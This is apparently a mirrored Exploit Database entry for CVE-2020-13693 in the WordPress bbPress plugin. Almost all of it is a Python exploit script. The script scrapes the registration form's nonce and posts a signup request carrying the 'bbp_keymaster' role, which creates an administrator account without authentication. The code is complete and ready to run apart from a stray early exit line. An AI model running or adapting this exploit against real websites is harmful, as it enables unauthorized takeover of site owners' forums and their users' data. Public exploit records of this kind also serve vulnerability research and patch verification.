WordPress Plugin BBPress 2.5 – Unauthenticated Privilege Escalation

• Exploit Database
• 132 阅读

• 作者： Raphael Karger
  日期： 2020-06-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48534/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59

  # Exploit Title: WordPress Plugin BBPress 2.5 - Unauthenticated Privilege Escalation # Date: 2020-05-29 # Exploit Author: Raphael Karger # Software Link: https://codex.bbpress.org/releases/ # Version: BBPress < 2.5 # CVE: CVE-2020-13693   import argparse import requests import bs4 import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) useragent = {"User-Agent" : "This is a real browser i swear"}   def grab_nonce_login_page(url): try: login_page_request = requests.get(url, verify=False, timeout=10, headers=useragent) soup = bs4.BeautifulSoup(login_page_request.text, "lxml") action = soup.find("form", class_="bbp-login-form") wp_login_page = action.get("action") wp_nonce = action.find("input", id="_wpnonce").get("value") return (wp_nonce, wp_login_page) except Exception as nonce_error: print("[-] Nonce Error: '{}'".format(nonce_error)) return False   def exploit(url, username, password, email): info = grab_nonce_login_page(url) if info: nonce = info[0] login_page = info[1] try: return requests.post(login_page, data={ "user_login" : username, "user_pass" : password, "user_email" : email, "user-submit" : "", "user-cookie" : "1", "_wpnonce" : nonce, "bbp-forums-role" : "bbp_keymaster" }, allow_redirects=False, verify=False, timeout=10, headers=useragent) except Exception as e: print("[-] Error Making Signup Post Request: '{}'".format(e)) return False   if __name__ == "__main__": exit("asdasd") parser = argparse.ArgumentParser() parser.add_argument("-n", "--username", dest="username", help="Username of Newly Created Keymaster", default="raphaelrocks") parser.add_argument("-p", "--password", dest="password", help="Password of Newly Created Keymaster", default="raphael123") parser.add_argument("-e", "--email", dest="email", help="Email of Newly Created Keymaster", default="test@example.com") parser.add_argument("-u", "--url", dest="url", help="URL of Page With Exposed Register Page.", required=True) args = parser.parse_args() site_exploit = exploit(args.url, args.username, args.password, args.email) if site_exploit and site_exploit.status_code == 302: exit("[+] Exploit Successful, Use Username: '{}' and Password: '{}'".format(args.username, args.password)) print("[-] Exploit Failed")